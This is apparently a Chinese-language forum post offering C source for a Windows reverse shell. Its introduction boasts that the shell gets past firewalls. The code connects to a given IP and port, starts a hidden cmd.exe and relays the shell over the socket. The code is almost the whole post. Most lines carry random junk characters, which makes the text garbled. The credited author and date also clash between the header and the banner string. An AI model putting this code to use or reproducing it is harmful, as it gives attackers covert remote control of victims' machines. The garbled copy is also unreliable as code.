这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v Ft]n
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/* ============================== 0Hs\q!5Q
Rebound port in Windows NT M"E ]r=1
By wind,2006/7 DeMF<)#
===============================*/ ]<V,5'xh
#include ,%|$#
g 0
#include ) <lpI';T
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#pragma comment(lib,"wsock32.lib") +<^TyIJ0
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void OutputShell(); H%K,2/Nj
SOCKET sClient; c:a5pd7T
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q}nL'KQ,n
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void main(int argc,char **argv) U?MKZL7
{ 208 dr*6U
WSADATA stWsaData; ]^>#?yEA3
int nRet; 33R_JM{
SOCKADDR_IN stSaiClient,stSaiServer; D^E+#a 1
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if(argc != 3) 7_AR()CM
{ @Ju!|G9z/p
printf("Useage:\n\rRebound DestIP DestPort\n"); NwK(<dzG
return; )$#
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} QQd%V#M?
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WSAStartup(MAKEWORD(2,2),&stWsaData); ~)RKpRga\p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); " <GDOL
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stSaiClient.sin_family = AF_INET; \"E-z.wW=
stSaiClient.sin_port = htons(0); P]Hcg|&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Dn[iA~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oNgu-&
{ gFsnL*L0
printf("Bind Socket Failed!\n"); 8gA:s`ofJ
return; ngZkBX
} IT`r&;5
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stSaiServer.sin_family = AF_INET; nUAs:Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c'9-SY1'~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N"i'[!H%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2|fN*Wm
{ ;st$TVzkn
printf("Connect Error!"); )xJo/{?
return; "TWNit
} WSdTP$?
OutputShell(); AT#&`Ew
} 94=aVM\>>
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void OutputShell() D@Zb|EI%<
{ I|6wPV?
char szBuff[1024]; Unl6?_
SECURITY_ATTRIBUTES stSecurityAttributes; _&/FO{ F@m
OSVERSIONINFO stOsversionInfo; `_IgH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ] M"l-A
STARTUPINFO stStartupInfo; ^JDiI7
char *szShell; 29+p|n
PROCESS_INFORMATION stProcessInformation; (_}w4N#
unsigned long lBytesRead; UuV<#N)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P|"U
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EM_`` 0^
stSecurityAttributes.lpSecurityDescriptor = 0; htn "rY(
stSecurityAttributes.bInheritHandle = TRUE; sA3=x7j%c
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); AZmABl
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [:HT=LX3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zSYh\g"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZMSP8(V
stStartupInfo.wShowWindow = SW_HIDE; `-l,`7e'
stStartupInfo.hStdInput = hReadPipe; q@;z((45
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bK)gB!
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GetVersionEx(&stOsversionInfo); ~Wq[H
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switch(stOsversionInfo.dwPlatformId) *siN#,5
{ LL~bq(b
case 1: r?e)2l~C8j
szShell = "command.com"; {+V1>6
break; 3{mu 77
default: 0@R @L}m
szShell = "cmd.exe"; q4XS
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break; :
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} D`;Q?fC
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c}nXMA^^
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send(sClient,szMsg,77,0); EwSE;R -
while(1) c\.8hd=<
{ mdu5aL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #ii,GN~N
if(lBytesRead) JW!SrM xF
{ G)A5;u\P9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &j@i>(7
send(sClient,szBuff,lBytesRead,0);
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} -[kbHrl&
else b"+J8W
{ <r*A(}Y
lBytesRead=recv(sClient,szBuff,1024,0); 33O@jbs@
if(lBytesRead<=0) break; /aepE~T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l<7)uO^8
} tUXq!r<'dT
} D`=hP(y^
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return; UR~9*`Z ,
}